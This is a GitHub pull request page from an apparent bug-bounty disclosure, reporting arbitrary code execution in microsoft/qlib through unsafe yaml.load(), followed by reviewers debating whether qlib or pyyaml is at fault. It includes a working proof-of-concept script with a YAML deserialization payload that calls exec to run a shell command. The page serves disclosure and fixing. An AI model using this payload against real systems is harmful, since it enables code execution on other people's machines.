Skip to content

Arbitrary Code Execution in Microsoft/qlib #1329

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 5 commits into from
Dec 21, 2020
Merged

Arbitrary Code Execution in Microsoft/qlib #1329

merged 5 commits into from
Dec 21, 2020

Conversation

B3EF
Copy link
Contributor

@B3EF B3EF commented Dec 8, 2020

Description

Arbitrary Code Excecution in microsoft/qlib.
Qlib is an AI-oriented quantitative investment platform, which aims to realize the potential, empower the research, and create the value of AI technologies in quantitative investment.

Technical Description

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml

Exploit code

Python File

import os
import qlib.workflow.cli as cli

exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('exploit.yml','w+').write(exploit)
cli.workflow('exploit.yml','workflow','/tmp')
os.system('rm exploit.yml')

POC

  • Install qlib using pip
  • Run the exploit code

💥 Impact

code execution

✅ Checklist

  • Created and populated the README.md and vulnerability.json files
  • Provided the repository URL and any applicable permalinks
  • Defined all the applicable weaknesses (CWEs)
  • Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
  • Checked that the vulnerability affects the latest version of the package released
  • Checked that a fix does not currently exist that remediates this vulnerability
  • Complied with all applicable laws

@huntr-helper huntr-helper added the disclosure Vulnerability disclosure label Dec 8, 2020
@adam-nygate
Copy link
Member

@B3EF this seems like an issue in a known vulnerable dependency of the project, rather than a vulnerability in the project itself. Closing for now, but please let me know if you feel differently.

@adam-nygate adam-nygate reopened this Dec 15, 2020
@JamieSlome JamieSlome requested a review from mzfr December 16, 2020 08:41
Copy link

@mzfr mzfr left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@B3EF This is not an issue with the qlib but instead the dependency used in that project i.e pyyaml[1] & ruamel[2].

Also you can see that the exploit that you are passing is getting loaded by the yaml package here.

So pyyaml is the real culprit behind this issue.

@B3EF
Copy link
Contributor Author

B3EF commented Dec 16, 2020

@B3EF This is not an issue with the qlib but instead the dependency used in that project i.e pyyaml[1] & ruamel[2].

Also you can see that the exploit that you are passing is getting loaded by the yaml package here.

So pyyaml is the real culprit behind this issue.

hi @mzfr ,
but pyyaml and ruamel.yaml have an alternate solution to fix it, that's why @adam-nygate have reopened my PR's.
any way its ain't a 0day one <3

Copy link
Contributor

@Mik317 Mik317 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@B3EF This is not an issue with the qlib but instead the dependency used in that project i.e pyyaml[1] & ruamel[2].

Also you can see that the exploit that you are passing is getting loaded by the yaml package here.

So pyyaml is the real culprit behind this issue.

I think @B3EF is right 😄
All the deserialization bugs occurs because the deserializer used allows, when user-input is supplied and not checked, to run malicious code. The pyyaml library for example allows to use the safe_load function which is better to handle user input of this type.

In this case the fault isn't of the deserialization library, which can handle every input with load but of the projects who's not using the safe_load alternative. It could be possible also restrict through a overriding class in case some attributes (malicious) need to be handled by the qlib library.

Cheers,
Mik

@JamieSlome JamieSlome merged commit b6dcc67 into 418sec:staging Dec 21, 2020
@huntr-helper huntr-helper added the discussion A discussion around a topic label Dec 21, 2020
OS-WS referenced this pull request in microsoft/qlib Feb 16, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
disclosure Vulnerability disclosure discussion A discussion around a topic
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants